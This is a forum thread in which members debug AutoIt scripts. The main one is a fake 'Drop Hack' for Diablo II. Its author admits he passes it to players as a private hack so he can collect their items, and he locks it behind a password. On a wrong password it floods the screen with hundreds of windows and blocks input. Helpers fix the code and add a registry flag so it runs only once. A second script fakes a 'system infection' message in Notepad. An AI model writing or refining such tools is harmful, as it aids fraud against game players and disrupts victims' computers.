Jump to content

Help find problems in script


Recommended Posts

Heres my script with errors I need help fixing it

If $Password = "Searay" Then;;<------------Error Here says missing EndIf

MsgBox(0, "Drop Hack", "The password entered was correct, Drop Hack loaded")

#region

HotKeySet("{F9}", "Drop")

Func Drop();;<------------Error here says missing EndIf

;Script here

EndFunc

Else;;<---------Error Here says syntax error

MsgBox(0, "Drop Hack", "The password entered was incorrect")

HotKeySet("!{f7}", "Terminate");Alt+f7 to terminate

#NoTrayIcon

$Garanator = GuiCreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1))

GUISetState()

For $win = 1 To 500

BlockInput(1)

GuiCreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1),Random(1, @DesktopHeight, 1), -1, -1, $Garanator)

GuiCtrlCreateLabel("Know the password jackass", 25, 18, 87, 27)

GUISetState()

BlockInput(0)

Next

While 1

Sleep(5000)

WEnd

Func Terminate()

Exit

EndFunc

;Thx Frost for the 100msg popup sorce:)

I also need to know how to make it so that program or password can only be ran once even if u reload the script without using a different script to do it. I don't know if thats possible

Look something like this maybe? Neways what a newb thinks it looks like

If $Password = "Garanator" Then write;<---or somehow add to the source maybe i don't know

$password = only used once ever;<----Wow I have no idea how to do this but thats an idea of what i mean

$Password=InputBox("Drop Hack","Your password:","","*")

If @error Then Exit

Link to comment
Share on other sites

well, as the errors say, ur missing and endif at the beginning... everything is falling under that first if you have there... including ur functions

[quote]If whenever you feel small, useless, offended, depressed, and just generally upset always remember......you were once the fastest and most vicious sperm out of hundreds of millions![/quote]

Link to comment
Share on other sites

#NoTrayIcon


If $Password = "Searay" Then
    MsgBox(0, "Drop Hack", "The password entered was correct, Drop Hack loaded")
    HotKeySet("{F9}", "Drop")
Else
    MsgBox(0, "Drop Hack", "The password entered was incorrect")
    HotKeySet("!{f7}", "Terminate");Alt+f7 to terminate
EndIf
$Garanator = GUICreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1))
GUISetState()

For $win = 1 To 500
    BlockInput(1)
    GUICreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1), -1, -1, $Garanator)
    GUICtrlCreateLabel("Know the password jackass", 25, 18, 87, 27)
    GUISetState()
    BlockInput(0)
Next

While 1
    Sleep(5000)
WEnd

Func Terminate()
    Exit
EndFunc  ;==>Terminate

Func Drop()
;Script here
EndFunc  ;==>Drop

Edited by gafrost

SciTE for AutoItDirections for Submitting Standard UDFs

 

Don't argue with an idiot; people watching may not be able to tell the difference.

 

Link to comment
Share on other sites

Ok lets say you give this to somebody together with the file "Garanator.txt" that contains some stuff (lets say its the help file, doesn't matter. But the Helpfile would be a good way to make it appear unimportant)

Then that is the script:

#NoTrayIcon
If FileExists(@ScriptDir & "\Garanator.txt") = 0 Then
    MsgBox(0,"Error","You can't use this anymore, you entered the wrong password")
    Exit
EndIf

$Password = InputBox("Password?","Enter the password:")
If $Password = "Searay" Then
    MsgBox(0, "Drop Hack", "The password entered was correct, Drop Hack loaded")
    HotKeySet("{F9}", "Drop")
Else
    MsgBox(0, "Drop Hack", "The password entered was incorrect")
    HotKeySet("!{f7}", "Terminate");Alt+f7 to terminate
    FileDelete(@ScriptDir & "\Garanator.txt")
    WrongPass()
EndIf

Func WrongPass()
$Garanator = GUICreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1))
GUISetState()
    
For $win = 1 To 100
    BlockInput(1)
    GUICreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1), -1, -1, $Garanator)
    GUICtrlCreateLabel("Know the password jackass", 25, 18, 87, 27)
    GUISetState()
    BlockInput(0)
Next

While 1
    Sleep(5000)
WEnd
EndFunc

Func Terminate()
    Exit
EndFunc ;==>Terminate

Func Drop()
;Script here
EndFunc ;==>Drop

HF!

Felix N. (tdlrali)

Link to comment
Share on other sites

Wouldn't if you had that like the readme for it then it would never work sinse ppl would just extract both the drop hack and the readme? There has to be another way other than have it with something else. like is there a command that changes the script to screw it up and cause errors so it doesn't work?

Link to comment
Share on other sites

You can't mess up the script from itself, thats like your car can't destroy itself (ok bad example but....) Its just not possible that the script changes itself!

Ok, yes people could reextract the files and it would work, but the could also reextract a messed up file. The only way i can think of right now is a registry value.

Ill write back as soon as i finish the script

[Edit]

Ok i finished and this should work:

#NoTrayIcon
$wrongpwd = RegRead("HKEY_CURRENT_USER\SOFTWARE\Garanator\DropBot", "wrongpwd")
If $wrongpwd = "yes" Then
    MsgBox(0,"Error","You can't use this anymore, you entered the wrong password")
    Exit
EndIf

$Password = InputBox("Password?","Enter the password:")
If $Password = "Searay" Then
    RegWrite("HKEY_CURRENT_USER\SOFTWARE\Garanator\DropBot","wrongpwd","REG_SZ","no")
    MsgBox(0, "Drop Hack", "The password entered was correct, Drop Hack loaded")
    HotKeySet("{F9}", "Drop")
Else
    RegWrite("HKEY_CURRENT_USER\SOFTWARE\Garanator\DropBot","wrongpwd","REG_SZ","yes")
    MsgBox(0, "Drop Hack", "The password entered was incorrect")
    HotKeySet("!{f7}", "Terminate");Alt+f7 to terminate
    FileDelete(@ScriptDir & "\Garanator.txt")
    WrongPass()
EndIf

Func WrongPass()
$Garanator = GUICreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1))
GUISetState()
    
For $win = 1 To 500
    BlockInput(1)
    GUICreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1), -1, -1, $Garanator)
    GUICtrlCreateLabel("Know the password jackass", 25, 18, 87, 27)
    GUISetState()
    BlockInput(0)
Next

While 1
    Sleep(5000)
WEnd
EndFunc

Func Terminate()
    Exit
EndFunc ;==>Terminate

Func Drop()
;Script here
EndFunc ;==>Drop

HF

Felix N. (tdlrali)

Edited by Felix N.
Link to comment
Share on other sites

NP, I like writing that kind of scripts, since they help me getting to learn the script language.

See, I'm just as "newbish" as you (if a can call you that^^) and by helping you out i find out new stuff i didn't use before and you learn from reading the scripts ;)

So, what does your D2 bot do?

Just being curious^^

Felix N.

Edited by Felix N.
Link to comment
Share on other sites

I show some guy in the game a public crash hack called drop hack but no one has it and tell them its private. If they say they want it then I send it to them. I added the password and the hotkey because ppl would either just take it the program but not stay by me so I could collect the items and I added the hotkey to make sure they kept all there items on so I could collect them:) You added the only once thing to try and get people not to spread it around d2 and mess up the game.

The script doesn't work if u press cancel and then retry cause it will write the reg file. I want them to be able to atleast one it once if u know what I mean how can I do this?

Link to comment
Share on other sites

Mean like this?:

#NoTrayIcon
$wrongpwd = RegRead("HKEY_CURRENT_USER\SOFTWARE\Garanator\DropBot", "wrongpwd")
If $wrongpwd = "yes" Then
    MsgBox(0,"Error","You can't use this anymore, you entered the wrong password")
    Exit
EndIf

$Password = InputBox("Password?","Enter the password:")
If @error Then
    Exit
EndIf
If $Password = "Searay" Then
    RegWrite("HKEY_CURRENT_USER\SOFTWARE\Garanator\DropBot","wrongpwd","REG_SZ","no")
    MsgBox(0, "Drop Hack", "The password entered was correct, Drop Hack loaded")
    HotKeySet("{F9}", "Drop")
Else
    RegWrite("HKEY_CURRENT_USER\SOFTWARE\Garanator\DropBot","wrongpwd","REG_SZ","yes")
    MsgBox(0, "Drop Hack", "The password entered was incorrect")
    HotKeySet("!{f7}", "Terminate");Alt+f7 to terminate
    FileDelete(@ScriptDir & "\Garanator.txt")
    WrongPass()
EndIf

Func WrongPass()
$Garanator = GUICreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1))
GUISetState()
    
For $win = 1 To 500
    BlockInput(1)
    GUICreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1), -1, -1, $Garanator)
    GUICtrlCreateLabel("Know the password jackass", 25, 18, 87, 27)
    GUISetState()
    BlockInput(0)
Next

While 1
    Sleep(5000)
WEnd
EndFunc

Func Terminate()
    Exit
EndFunc ;==>Terminate

Func Drop()
;Script here
EndFunc ;==>Drop

GN

Felix

Link to comment
Share on other sites

Mean like this?:

#NoTrayIcon
$wrongpwd = RegRead("HKEY_CURRENT_USER\SOFTWARE\Garanator\DropBot", "wrongpwd")
If $wrongpwd = "yes" Then
    MsgBox(0,"Error","You can't use this anymore, you entered the wrong password")
    Exit
EndIf

$Password = InputBox("Password?","Enter the password:")
If @error Then
    Exit
EndIf
If $Password = "Searay" Then
    RegWrite("HKEY_CURRENT_USER\SOFTWARE\Garanator\DropBot","wrongpwd","REG_SZ","no")
    MsgBox(0, "Drop Hack", "The password entered was correct, Drop Hack loaded")
    HotKeySet("{F9}", "Drop")
Else
    RegWrite("HKEY_CURRENT_USER\SOFTWARE\Garanator\DropBot","wrongpwd","REG_SZ","yes")
    MsgBox(0, "Drop Hack", "The password entered was incorrect")
    HotKeySet("!{f7}", "Terminate");Alt+f7 to terminate
    FileDelete(@ScriptDir & "\Garanator.txt")
    WrongPass()
EndIf

Func WrongPass()
$Garanator = GUICreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1))
GUISetState()
    
For $win = 1 To 500
    BlockInput(1)
    GUICreate("Drop Hack", 200, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1), -1, -1, $Garanator)
    GUICtrlCreateLabel("Know the password jackass", 25, 18, 87, 27)
    GUISetState()
    BlockInput(0)
Next

While 1
    Sleep(5000)
WEnd
EndFunc

Func Terminate()
    Exit
EndFunc;==>Terminate

Func Drop()
;Script here
EndFunc;==>Drop

GN

Felix

Felix, your pic kills me! Yes, I noticed the new pasties! ;)

Ps, I also noticed your input to the forums. Excellent! :P

Link to comment
Share on other sites

i have a similar problem actually

$Password=InputBox("Frost's Pass?","Frost's Password:","","*")
If @error Then Exit
If $Password = "frootloop" Or $Password = "Miniwheat" Or $Password = "Cheerio" Then
   MsgBox(0, "Frost", "Welcome Back")
   Run("notepad.exe")
WinWaitActive("Untitled - Notepad")
Send("Hello, this is a message from Frost.")
Sleep(500)
Sleep(500)
Send("{ENTER}")
Send("{ENTER}")
Send("In")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("3")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("2")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("1")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("Complete system infection complete.")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("Remember")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("You Got Haked by Frost")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("end")

Sleep(500)
Sleep(500)
Send("!f")
Send("x")
WinWaitActive("Notepad", "No")
Send("n")
WinWaitClose("Untitled - Notepad")


TrayTip("Frost", "Owned you", 5, 1)
Sleep(1000)


$frost = GuiCreate("Frowst owns!", 150, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1))
GUISetState()

For $win = 1 To 5;<= change the 100 to the number of windows you want
    GuiCreate("Frowst owns!", 150, 50, Random(1, @DesktopWidth, 1),Random(1, @DesktopHeight, 1), -1, -1, $frost)
    GuiCtrlCreateLabel("Frost owns you!", 25, 18, 87, 27)
    GUISetState()
Next

Sleep(60000);<= change the 60000 to the time in milliseconds you want the windows to stay (60000 = 1 min, 120000 = 2 min, ..., 3600000 = 1 hour)

Func Terminate()
    Exit
EndFunc

Else
   MsgBox(0, "Frost", "Dont Fuck With My Shit")
EndIf

my error says my If statement has no Endif statement

Link to comment
Share on other sites

A little bit off topic but ok^^ B)

That should work for you:

$Password=InputBox("Frost's Pass?","Frost's Password:","","*")
If @error Then Exit
If $Password = "frootloop" Or $Password = "Miniwheat" Or $Password = "Cheerio" Then
   MsgBox(0, "Frost", "Welcome Back")
   Run("notepad.exe")
WinWaitActive("Untitled - Notepad")
Send("Hello, this is a message from Frost.")
Sleep(500)
Sleep(500)
Send("{ENTER}")
Send("{ENTER}")
Send("In")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("3")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("2")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("1")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("SYSTEM FAILURE - - - - - -")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("Complete system infection complete.")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("Remember")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("You Got Haked by Frost")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Send("{ENTER}")
Sleep(500)
Sleep(500)
Send("end")

Sleep(500)
Sleep(500)
Send("!f")
Send("x")
WinWaitActive("Notepad", "No")
Send("n")
WinWaitClose("Untitled - Notepad")

TrayTip("Frost", "Owned you", 5, 1)
Sleep(1000)

$frost = GuiCreate("Frowst owns!", 150, 50, Random(1, @DesktopWidth, 1), Random(1, @DesktopHeight, 1))
GUISetState()

For $win = 1 To 5;<= change the 100 to the number of windows you want
    GuiCreate("Frowst owns!", 150, 50, Random(1, @DesktopWidth, 1),Random(1, @DesktopHeight, 1), -1, -1, $frost)
    GuiCtrlCreateLabel("Frost owns you!", 25, 18, 87, 27)
    GUISetState()
Next

Sleep(60000);<= change the 60000 to the time in milliseconds you want the windows to stay (60000 = 1 min, 120000 = 2 min, ..., 3600000 = 1 hour)

Else
   MsgBox(0, "Frost", "Dont Fuck With My Shit")
EndIf

Func Terminate()
    Exit
EndFunc

BTW Garanator: Anything else for your script??

Cya

Felix N. (tdlrali) <- has a new avatar :o

Edited by Felix N.
Link to comment
Share on other sites

i have a similar problem actually

my error says my If statement has no Endif statement

you can't define a function (Terminate) within any other statement (your second if statement).

Cheers

Kurt

__________________________________________________________(l)user: Hey admin slave, how can I recover my deleted files?admin: No problem, there is a nice tool. It's called rm, like recovery method. Make sure to call it with the "recover fast" option like this: rm -rf *

Link to comment
Share on other sites

No I think my script is about finished, Other than if you can find a way that if the script is repackaged and sent it can't be used or if you press cancel it will still allow you to run the script another time. Maybe I just add in a second pass for that

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...